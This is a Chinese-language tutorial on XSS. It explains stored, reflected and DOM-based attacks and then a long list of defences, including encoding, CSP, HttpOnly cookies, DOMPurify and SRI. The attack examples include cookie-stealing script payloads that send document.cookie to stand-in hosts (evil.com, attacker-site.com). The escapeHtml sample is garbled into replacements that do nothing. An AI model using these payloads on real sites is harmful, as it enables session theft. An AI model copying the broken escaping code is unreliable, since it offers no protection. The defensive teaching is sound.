XSS 的全称是 Cross-Site Scripting(跨站脚本攻击)。是一种常见的web安全漏洞。
1. XSS 的定义
XSS 是一种注入类型的攻击,攻击者将恶意脚本注入到受信任的网站中。当其他用户访问该网站时,这些脚本会在用户的浏览器中执行。
2. XSS 的类型
2.1 存储型 XSS
- 恶意脚本被永久存储在 目标服务器上(如数据库中)。
- 当用户请求数据时,恶意脚本被发送并执行。
2.1.1 攻击实现:
- 攻击者准备:攻击者将恶意脚本提交到目标网站的输入表单中,如评论、留言板或用户资料。
- 数据存储:恶意脚本被存储在目标网站的服务器上,例如评论被保存在数据库中。
- 受害者触发:当其他用户(受害者)访问含有恶意脚本的页面时,脚本从服务器加载并在用户的浏览器上执行。
- 攻击执行:恶意脚本可能会窃取用户的Cookie、会话令牌,或者以用户的身份执行操作。
示例:
攻击者在论坛的帖子中插入以下脚本:
<script>fetch('http://evil.com/steal?cookie=' + document.cookie);</script>
当其他用户浏览这个帖子时,脚本执行并将用户的Cookie发送到攻击者控制的服务器。
2.2 反射型 XSS
- 恶意脚本包含在请求中,服务器将其"反射"回响应。
- “反射”这个词用来描述服务器将接收到的恶意脚本作为响应的一部分发送回浏览器,而不是将脚本存储在服务器上。 - 通常需要诱导用户点击特制的链接。
2.2.1 攻击实现:
- 链接构造:攻击者创建了一个包含恶意JavaScript代码的链接。这个链接指向目标网站,并且恶意代码通常附加在URL的查询参数中。
- 诱导点击:攻击者通过某种方式(如发送电子邮件、社交媒体消息等)诱使受害者点击这个链接。
- 脚本执行:当受害者点击链接访问目标网站时,恶意脚本作为请求的一部分发送到服务器,然后服务器将脚本“反射”回响应中,脚本在受害者的浏览器上执行。
- 攻击执行:
- 当受害者点击这个链接,他们的浏览器会向目标网站发送一个请求,请求中包含了恶意脚本。
- 目标网站的服务器接收到这个请求后,会将请求中的一些内容(包括恶意脚本)“反射”到响应的HTML中。这通常是因为网站将用户输入的数据(如搜索关键词、表单输入等)直接包含在响应页面中,而没有适当的清理或编码这些数据。
- 当响应返回到受害者的浏览器时,恶意脚本就会在受害者的浏览器中执行。
示例:
-
攻击者构造恶意链接:
http://legitimate-site.com/search?q=<script>fetch('http://attacker-site.com/steal?cookie='+document.cookie)</script>
-
受害者点击链接,向
legitimate-site.com
(目标网站)发送请求。 -
legitimate-site.com
的服务器接收请求,并在响应中包含了未经处理的查询参数:<p>Search results for: <script>fetch('http://attacker-site.com/steal?cookie='+document.cookie)</script></p>
-
受害者的浏览器接收响应并执行脚本,将Cookie发送到
attacker-site.com
(攻击者的服务器)。
在这个过程中:
legitimate-site.com
是目标网站的服务器。attacker-site.com
是攻击者的服务器。
这两个服务器是完全不同的实体:
- 目标网站的服务器可能是无意中成为攻击的媒介。
- 攻击者的服务器是故意设置来接收被盗数据的。
2.3 DOM-based XSS
- 漏洞存在于客户端代码中。
- 恶意脚本通过修改页面的DOM环境在本地执行。
2.3.1 攻击实现:
- 链接构造:攻击者构造一个包含恶意脚本的链接,脚本设计为通过修改DOM来执行。
- DOM:Document Object Model,文档对象模型,如:HTML、XHTML或XML
- 诱导点击:诱使受害者点击这个链接。
- 脚本执行:当受害者访问链接时,页面的JavaScript根据URL的参数修改DOM,导致恶意脚本执行。
- 攻击执行:恶意脚本执行,可能导致与反射型或存储型XSS相同的后果。
示例:
攻击者构造以下链接:
http://example.com/#<script>fetch('http://evil.com/steal?cookie=' + document.cookie);</script>
当受害者访问这个链接时,页面上的JavaScript根据URL的片段(#后的部分)修改DOM,导致恶意脚本执行。
3. 防御方案
XSS(跨站脚本攻击)的防御需要采取多层次的安全措施,不论是哪种类型的XSS攻击。以下是一些通用的、不分类型的XSS防御方案:
1. 输入验证和清理
- 对所有用户输入进行严格的验证和清理。
- 使用白名单方法,只允许已知安全的字符。
// 定义一个函数,用于验证输入是否只包含字母和数字
function validateInput(input) {
// 使用正则表达式测试输入
return /^[a-zA-Z0-9]+$/.test(input);
// ^ 表示字符串的开始
// [a-zA-Z0-9] 匹配任何字母(大小写)或数字
// + 表示前面的字符集合应该出现一次或多次
// $ 表示字符串的结束
// .test(input) 测试input是否完全匹配这个模式
// 如果input只包含字母和数字,返回true;否则返回false
}
// 导入sanitize-html库,用于清理HTML内容
// 注意:' 是单引号的HTML实体编码,实际使用时应该是普通的单引号
const sanitizeHtml = require('sanitize-html');
// 使用sanitize-html库清理可能包含恶意内容的HTML
let cleanHtml = sanitizeHtml(dirtyHtml);
// dirtyHtml 是输入的可能不安全的HTML
// sanitizeHtml() 函数处理这个输入,移除或转义潜在的危险内容
// cleanHtml 现在包含经过清理的安全HTML
2. 输出编码
- 在将数据输出到HTML、JavaScript、CSS或URL时进行适当的编码。
// 定义一个函数,用于转义HTML特殊字符,防止XSS攻击
function escapeHtml(unsafe) {
// 返回经过一系列替换操作后的安全字符串
return unsafe
// 将 & 替换为 &
.replace(/&/g, "&")
// 将 < 替换为 <
.replace(/</g, "<")
// 将 > 替换为 >
.replace(/>/g, ">")
// 将 " 替换为 "
.replace(/"/g, """)
// 将 ' 替换为 ' (HTML实体编码的单引号)
.replace(/'/g, "'");
}
3. 使用安全的JavaScript API
- 优先使用
textContent
而不是innerHTML
。-
- 安全性:
textContent
处理纯文本内容,它不会解析或执行HTML。innerHTML
会解析并执行HTML,包括潜在的恶意脚本。
-
- XSS防御:
- 使用
textContent
时,即使输入包含HTML或JavaScript代码,也会被当作纯文本处理。 - 使用
innerHTML
可能导致注入的HTML或JavaScript被执行,造成XSS攻击。
-
- 性能:
textContent
通常比innerHTML
性能更好,因为它不需要解析HTML。
-
- 行为差异:
// 使用 textContent element.textContent = "<script>alert('XSS')</script>"; // 结果: 显示 "<script>alert('XSS')</script>" 为纯文本 // 使用 innerHTML element.innerHTML = "<script>alert('XSS')</script>"; // 结果: 可能执行脚本,弹出警告框
- 行为差异:
-
- 用途:
textContent
适用于设置纯文本内容。innerHTML
用于需要插入HTML结构的场景,但使用时需要非常小心。
-
- 最佳实践:
// 安全的做法 document.getElementById("myDiv").textContent = userInput; // 潜在的不安全做法 // document.getElementById("myDiv").innerHTML = userInput; // 危险!
- 最佳实践:
-
- 替代方案:
- 如果确实需要插入HTML,应使用更安全的方法,如
createElement
和appendChild
,或使用经过严格清理的HTML。
-
小结,使用
textContent
是一种简单有效的方法来防止XSS攻击,特别是在处理用户输入时。它确保内容被视为纯文本,而不是可执行的HTML或JavaScript。在需要插入HTML的情况下,应该使用更安全的替代方法,并确保对输入进行适当的清理和验证。
-
4. 实施内容安全策略(CSP)
- 限制可执行脚本的来源。
Content-Security-Policy:
default-src 'self'; // 默认情况下,只允许从当前域加载所有类型的资源
script-src 'self' // 允许从当前域加载脚本
https://trusted.cdn.com; // 也允许从 https://trusted.cdn.com 加载脚本
5. 使用HttpOnly标志
- 防止JavaScript访问敏感cookie。
// Node.js示例,res 通常代表HTTP响应对象。
res.cookie(
'sessionId', // Cookie的名称,cookie名为"sessionId",通常用于存储会话标识符。
'abc123', // Cookie的值,值为"abc123",可能是一个会话ID或其他标识符。
{
// 它指示浏览器,这个cookie只能通过HTTP(S)协议访问。
// JavaScript无法通过 document.cookie 读取这个cookie。
// 这有助于防止跨站脚本(XSS)攻击,因为即使攻击者成功注入脚本,也无法直接访问这个cookie。
httpOnly: true // 设置HttpOnly标志
secure: true, // 只在HTTPS连接中发送cookie
sameSite: 'strict', // 防止CSRF攻击
maxAge: 3600000 // 1小时后过期
}
);
6. X-XSS-Protection头
- 启用浏览器内置的XSS过滤器。
// X-XSS-Protection::这是HTTP响应头的名称,用于控制大多数现代浏览器的XSS保护行为。
// 1:启用XSS过滤器。如果检测到跨站脚本攻击,浏览器将尝试清理页面,移除或禁用恶意脚本。
// mode=block:这是一个可选的指令,用于增强XSS过滤器的行为。当设置为block时,如果浏览器检测到XSS攻击,不仅会尝试清理页面,而且会完全阻止页面的渲染,显示一个警告页面,而不是尝试移除或禁用恶意脚本后再渲染页面。
X-XSS-Protection: 1; mode=block
7.验证URL参数
- 特别注意处理URL参数。
const sanitizedParam = encodeURIComponent(req.query.param);
这行JavaScript代码的含义是,从HTTP请求的查询字符串中获取名为param
的参数,并使用encodeURIComponent
函数对其进行编码。编码后的字符串赋值给sanitizedParam
变量。
组件解析
-
req.query.param
:req
对象通常代表HTTP请求,在Web开发框架(如Express.js)中使用。req.query
是一个包含查询字符串参数的对象,req.query.param
就是获取这个对象中名为param
的参数值。例如,如果请求的URL是http://example.com/?param=value
,那么req.query.param
的值就是value
。 -
encodeURIComponent
:这是JavaScript内置的一个函数,用于对统一资源标识符(URI)的某一部分进行编码。它会转义URI中的特殊字符,如空格转换为%20
,/
转换为%2F
等。这样做的目的是确保URL的特殊字符不会引起错误或被误解析,特别是当URL的一部分来自用户输入时。 -
sanitizedParam
:这是一个变量名,sanitized
意味着“已清洁的”或“已消毒的”,在这里表示对参数值进行了处理,使其安全地用于URL。将编码后的参数值赋给这个变量,以便后续使用。
使用场景
这种编码处理通常用于Web开发中,特别是当需要将用户输入作为URL的一部分发送请求时。编码确保了URL的有效性和安全性,防止了诸如跨站脚本攻击(XSS)等安全问题。例如,如果用户输入包含&
或=
等特殊字符,直接拼接到URL中可能会改变URL的结构,导致错误或安全漏洞。通过使用encodeURIComponent
,可以安全地将用户输入包含在请求的URL中。
10. 使用安全的库和函数
-
如DOMPurify进行HTML清理。
import DOMPurify from 'dompurify'; const clean = DOMPurify.sanitize(dirty);
这段代码使用了DOMPurify
库来清理和消毒不安全的HTML内容,以防止跨站脚本攻击(XSS)等安全问题。DOMPurify
是一个用于消除HTML、SVG和MathML文档中XSS攻击向量的库。
组件解析
-
import DOMPurify from 'dompurify';
:这行代码使用ES6模块语法导入DOMPurify
库。这意味着在使用这行代码之前,你需要确保项目中已经安装了dompurify
包,通常是通过npm或yarn这样的包管理器安装。 -
const clean = DOMPurify.sanitize(dirty);
:这行代码调用DOMPurify
的sanitize
方法,将名为dirty
的变量中的内容进行清理和消毒,然后将返回的安全内容赋值给clean
变量。-
dirty
:这是一个变量,代表可能包含不安全内容的HTML、SVG或MathML字符串。这些不安全的内容可能包括但不限于XSS攻击代码。 -
DOMPurify.sanitize
:这是DOMPurify
库提供的方法,用于清理输入字符串,移除所有包含潜在安全风险的部分,使其安全地用于网页。 -
clean
:这是一个变量,存储了经过DOMPurify.sanitize
处理后的安全内容。这个内容被认为是安全的,可以直接用于DOM或作为HTML输出。
-
使用场景
在Web开发中,当需要处理用户输入的HTML内容并将其插入到网页中时,直接插入未经过滤的内容可能会导致XSS攻击。XSS攻击允许攻击者在受害者的浏览器中执行恶意脚本,可能导致信息泄露、会话劫持等安全问题。
使用DOMPurify
来消毒这些内容,可以有效地防止XSS攻击,保护网站和用户的安全。DOMPurify
通过白名单和其他一系列策略来移除或处理不安全的代码,只保留安全的、干净的内容。
总之,这段代码的含义是使用DOMPurify
库来清理可能不安全的HTML内容,确保将其安全地用于网页,防止XSS等安全威胁。
11. 实施CSRF保护
-
虽不直接防御XSS,但可以减少某些攻击的影响。
<form action="/api/data" method="post"> <input type="hidden" name="csrf_token" value="randomToken123"> <!-- 其他表单字段 --> </form>
这段HTML代码定义了一个表单(<form>
),用于向服务器发送数据。具体来说,它包含以下元素和属性:
-
<form action="/api/data" method="post">
:这是一个<form>
标签,用于创建表单。action="/api/data"
:指定表单提交的目标URL,即当表单提交时,数据将被发送到/api/data
这个地址。method="post"
:指定表单提交的HTTP方法为POST
。POST
方法通常用于向服务器发送可以修改服务器状态的数据。
-
<input type="hidden" name="csrf_token" value="randomToken123">
:这是一个<input>
标签,用于在表单中创建一个输入字段。type="hidden"
:指定输入字段为隐藏字段,这意味着它不会在页面上显示,但其值会随表单一起提交。隐藏字段常用于存储不需要用户交互的数据。name="csrf_token"
:为输入字段定义了名称(name
),在这里是csrf_token
。服务器将使用这个名称来识别发送的数据。value="randomToken123"
:为输入字段设置了值(value
),在这里是randomToken123
。这个值会随表单数据一起发送到服务器。
-
<!-- 其他表单字段 -->
:这是一个HTML注释,表明这里可能还有其他表单字段,但在这段代码中没有显示。
总体含义
这个表单主要用于向服务器的/api/data
地址以POST
方法发送数据。其中包含一个隐藏的输入字段csrf_token
,其值为randomToken123
。这个隐藏字段通常用于防止跨站请求伪造(CSRF)攻击,是一种安全措施。服务器会检查提交的表单中是否包含有效的CSRF令牌,以验证请求的合法性。如果CSRF令牌匹配,请求被认为是合法的,服务器将处理表单提交的数据;如果不匹配,请求可能会被拒绝。
12. 安全的会话管理
- 定期轮换会话ID,使用安全的会话存储方法。
13. 实施子资源完整性(SRI)
-
确保外部资源未被篡改。
<script src="https://example.com/example-framework.js" integrity="sha384-oqVuAfXRKap7fdgcCY5uykM6+R9GqQ8K/uxy9rx7HNQlGYl1kPzQho1wx4JwY8wC" crossorigin="anonymous"></script>
这段HTML代码是用来在网页中引入一个外部JavaScript文件的。具体来说,它通过<script>
标签加载了位于https://example.com/example-framework.js
的JavaScript库或框架。此外,它还使用了integrity
和crossorigin
属性来增强安全性和兼容性。下面是对各个部分的详细解释:
-
<script src="https://example.com/example-framework.js">
:<script>
标签用于在HTML文档中嵌入或引用JavaScript代码。src
属性指定了要加载的外部JavaScript文件的URL。 -
integrity="sha384-oqVuAfXRKap7fdgcCY5uykM6+R9GqQ8K/uxy9rx7HNQlGYl1kPzQho1wx4JwY8wC"
:integrity
属性提供了一种安全特性,它允许浏览器验证获取到的资源是否被意外或恶意修改。这里使用的是SHA-384哈希值,浏览器会计算下载的文件的哈希值,并与integrity
属性中提供的哈希值进行比较。如果两者不匹配,浏览器将不会执行这个脚本。这有助于保护网站免受CDN劫持或其他形式的攻击。 -
crossorigin="anonymous"
:crossorigin
属性用于配置与跨域资源共享(CORS)相关的设置。在这个例子中,设置为anonymous
意味着在请求这个资源时,不会发送用户的凭证(如Cookies或HTTP认证信息)。这有助于保护用户的隐私,同时允许跨域请求脚本资源。如果服务器响应包含适当的CORS头部,这将允许跨域使用这个资源。
总体含义
这段代码的含义是,它通过安全和受信任的方式从https://example.com
加载一个JavaScript文件。通过使用integrity
属性,它确保了文件没有被篡改,增加了安全性。同时,crossorigin="anonymous"
属性的使用,使得这个请求对用户的隐私更加友好,因为它不会泄露用户的凭证信息。这种做法在引入第三方库或框架时非常常见,特别是当这些资源通过CDN提供时。
14. 教育开发团队
- 确保所有开发人员了解XSS风险和预防措施。
15. 使用安全的编码实践
- 避免使用危险的函数,如
eval()
。
16. 实施适当的错误处理
- 避免在错误消息中暴露敏感信息。
最佳实践
- 始终验证和清理用户输入。
- 在输出到页面之前对动态内容进行编码。
- 使用现代框架(如React、Vue)自带的XSS防护机制。
- 实施强大的内容安全策略(CSP)。
- 定期进行安全审计和渗透测试。
- 保持软件和库的更新,以修复已知的安全漏洞。
- 教育开发团队了解XSS风险和预防措施。
结论
XSS攻击仍然是web应用程序面临的主要安全威胁之一。通过实施全面的防御策略,包括输入验证、输出编码、使用安全API和设置适当的安全头,可以显著降低XSS攻击的风险。持续的警惕和定期的安全评估对于维护应用程序的安全性至关重要。